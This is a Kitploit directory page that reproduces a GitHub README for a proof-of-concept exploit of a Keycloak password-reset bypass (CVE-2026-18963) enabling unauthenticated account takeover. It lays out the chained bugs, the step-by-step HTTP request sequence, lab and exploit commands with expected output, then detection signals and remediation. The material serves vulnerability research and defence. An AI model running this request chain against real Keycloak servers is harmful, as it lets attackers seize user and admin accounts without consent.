Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-18963-keycloak — Proof-of-concept exploit for CVE-2026-18963, a critical Keycloak reset-credentials bypass enabling unauthenticated account takeover. Includes lab setup, detection guidance, and remediation steps for authorized testing. | Kitploit
Outils/GitHubGitHub/red-darkin/cve-2026-18963-keycloak
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityAuthenticationLearning & Education
GitHubred-darkin/cve-2026-18963-keycloak

CVE-2026-18963-keycloak

Proof-of-concept exploit for CVE-2026-18963, a critical Keycloak reset-credentials bypass enabling unauthenticated account takeover. Includes lab setup, detection guidance, and remediation steps for authorized testing.

Voir le dépôt
19317il y a 20 joursPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Contenu non disponible dans la langue demandée. Affichage de la version anglaise.

CVE-2026-18963 — Keycloak Reset-Credentials Bypass → Account Takeover

Unauthenticated account takeover in Keycloak's reset-credentials flow. An attacker who knows only a username/email can reset any user's password — including admins — without ever receiving the verification email.

CVE CVSS CWE License


⚠️ Disclaimer — Ethical use only

This proof of concept is published

strictly for educational purposes, defensive research, detection engineering, and authorized security testing.
  • Use it only against systems you own or have explicit written authorization to test. Accessing or modifying systems without permission is illegal and unethical.
  • This is a defensive/educational resource meant to help teams understand, detect, and remediate CVE-2026-18963 — not to attack third parties.
  • The author (red-darkin) assumes NO responsibility or liability for any misuse, damage, or illegal activity carried out with this code. You are solely responsible for how you use it and for complying with all applicable laws.
  • By downloading or using this repository you accept these terms. If you do not agree, do not use it.

See DISCLAIMER.md for the full statement.


Summary

CVECVE-2026-18963
SeverityCritical — CVSS 3.1 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)
WeaknessCWE-640 — Weak Password Recovery Mechanism
AffectedKeycloak < 26.7.2 (upstream). Also RH build streams fixed via 26.6.6 / 26.4.15 bundles
FixedKeycloak 26.7.2 (PR #51844)
PreconditionsForgot password (reset credentials) enabled on the realm — the default
ImpactFull account takeover of any user (including realm admins) → IdP compromise + lateral SSO access

How it works — two bugs chained

The password-reset (reset-credentials) flow normally forces you to click a link emailed to the account owner before you can set a new password. Two defects let an attacker skip that check entirely:

  1. Unscoped "Try Another Way" state — the authenticator-selector handler stores the note AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" not scoped to the execution ID. Re-entering the flow leaves the authentication session in a confused/stale state.
  2. Missing token check in the email step — ResetCredentialEmail.action() calls context.success() without verifying ACTION_TOKEN_USER_ID (i.e. without confirming the emailed action token was actually consumed).

Chaining them advances the authentication session straight to the UPDATE_PASSWORD step for an arbitrary user, no email required.

root@kitploit:~
GET  /auth (client_id=account)                       ── login page (has "Forgot password?")
GET  /login-actions/reset-credentials …              ── choose-user form
POST …reset-credentials      tryAnotherWay=on        ── bug #1: enter "Try Another Way" selector
POST …reset-credentials      username=<victim>       ── select user via selector
GET  …/restart …                                     ── refresh session state
GET  /login-actions/reset-credentials …              ── re-enter → STALE selector (corrupted state)
POST …reset-credentials      username=<victim>       ── bug #2: jumps to UPDATE_PASSWORD (no token!)
POST /login-actions/required-action?execution=UPDATE_PASSWORD
        password-new=…&password-confirm=…            ── 302 → password changed → TAKEOVER

See docs/ROOTCAUSE.md for the annotated patch diff.


Quick start (lab)

You need Docker and Python 3 with requests.

root@kitploit:~
# 1) Spin up a vulnerable Keycloak + demo realm/user  (any version < 26.7.2)
./run_lab.sh                 # uses keycloak/keycloak:26.5.0

# 2) Run the exploit against the demo 'victim' user
pip install requests
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'

Expected tail:

root@kitploit:~
[7] *** update-password form served WITHOUT token ***
[8] set-password -> HTTP 302
[+] CVE-2026-18963 EXPLOITED. Login: victim / Pwned-2026!

Then log in as victim / Pwned-2026! to confirm the takeover.

Negative control (patched)

root@kitploit:~
KC_TAG=26.7.2 ./run_lab.sh
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!'
# stops early — the update-password form is never served

Usage

root@kitploit:~
python3 exploit.py --base URL --realm REALM --victim USER --new-pass PASS [options]

  --base       Keycloak base URL, e.g. http://127.0.0.1:8080
  --realm      target realm (default: master)
  --client     public client without PKCE (default: account)
  --victim     victim username or email
  --new-pass   password to set
  --proxy      route through a proxy, e.g. http://127.0.0.1:8081 (Burp)
  -k           skip TLS verification

Every HTTP response is written to ./dump/ for inspection.


Proxying through Burp

Keycloak already uses 8080, so point Burp's listener at another port (e.g. 8081):

root@kitploit:~
python3 exploit.py --base http://127.0.0.1:8080 --realm poc \
    --client account --victim victim --new-pass 'Pwned-2026!' \
    --proxy http://127.0.0.1:8081

Raw request chain for Burp Repeater is in requests/burp-chain.txt.


Detection

Look for a password change that was not preceded by email verification in the same authentication session:

  • An UPDATE_PASSWORD event without a preceding VERIFY_EMAIL / EXECUTE_ACTION_TOKEN for that session.
  • Bursts of reset-credentials requests carrying tryAnotherWay=on.
  • Multiple re-entries of login-actions/reset-credentials for the same tab_id.

Remediation

  • Upgrade to Keycloak 26.7.2 (or the fixed RH build stream) — top priority.
  • Temporary mitigation: Realm settings → Login → Forgot password = Off.
  • Post-patch: rotate admin credentials, force re-login after resets, and alert on the detection signals above.

References

  • NVD — https://nvd.nist.gov/vuln/detail/CVE-2026-18963
  • Fix PR #51844 — https://github.com/keycloak/keycloak/pull/51844
  • Issue #51833 — https://github.com/keycloak/keycloak/issues/51833
  • Red Hat — https://access.redhat.com/security/cve/cve-2026-18963

Demo

CVE-2026-18963 PoC

Credits

  • red-darkin — lab reproduction, PoC, and write-up.
  • Claude (Anthropic) — research and PoC development assistance.

Chain corroborated against the public Keycloak patch (PR #51844) and community write-ups.

License

MIT © red-darkin — for educational and authorized testing use only.

Télécharger l’outil